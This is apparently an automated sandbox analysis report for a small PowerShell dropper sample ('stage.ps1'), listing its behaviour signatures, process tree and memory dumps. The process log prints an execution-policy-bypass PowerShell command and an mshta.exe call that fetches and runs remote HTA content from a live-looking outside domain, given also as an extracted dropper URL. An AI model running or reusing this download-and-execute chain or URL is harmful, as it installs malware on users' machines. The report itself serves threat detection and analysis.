Analysis
- max time kernel
149s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
24/06/2026, 18:14
General
- Target stage.ps1
- Size 128B
- Sample260624-wvtejset7n
- SHA256 e6d3a52f44ffda39c2bcdba871f256fccd1605d9a2aeb8ae41ed1f88d3fa783e
Malware Config
Extracted
-
hta
-
hta.dropper
https://pdfab.grupovtgs.site/05708de4-1369-4d05-b9b0-fc153e3d3c2d/2104e68f-ed36-4ff5-9dda-00a38d1c7bfe
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\stage.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://pdfab.grupovtgs.site/05708de4-1369-4d05-b9b0-fc153e3d3c2d/2104e68f-ed36-4ff5-9dda-00a38d1c7bfe2⤵
- Badlisted process makes network request
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1404-0-0x00007FFF1983F000-0x00007FFF19840000-memory.dmp
memory/1404-1-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
memory/1404-2-0x0000027F79EE0000-0x0000027F79F02000-memory.dmp
memory/1404-5-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
memory/1404-6-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
memory/1404-7-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
memory/1404-8-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
memory/1404-9-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
memory/1404-10-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
memory/1404-12-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
memory/1404-13-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp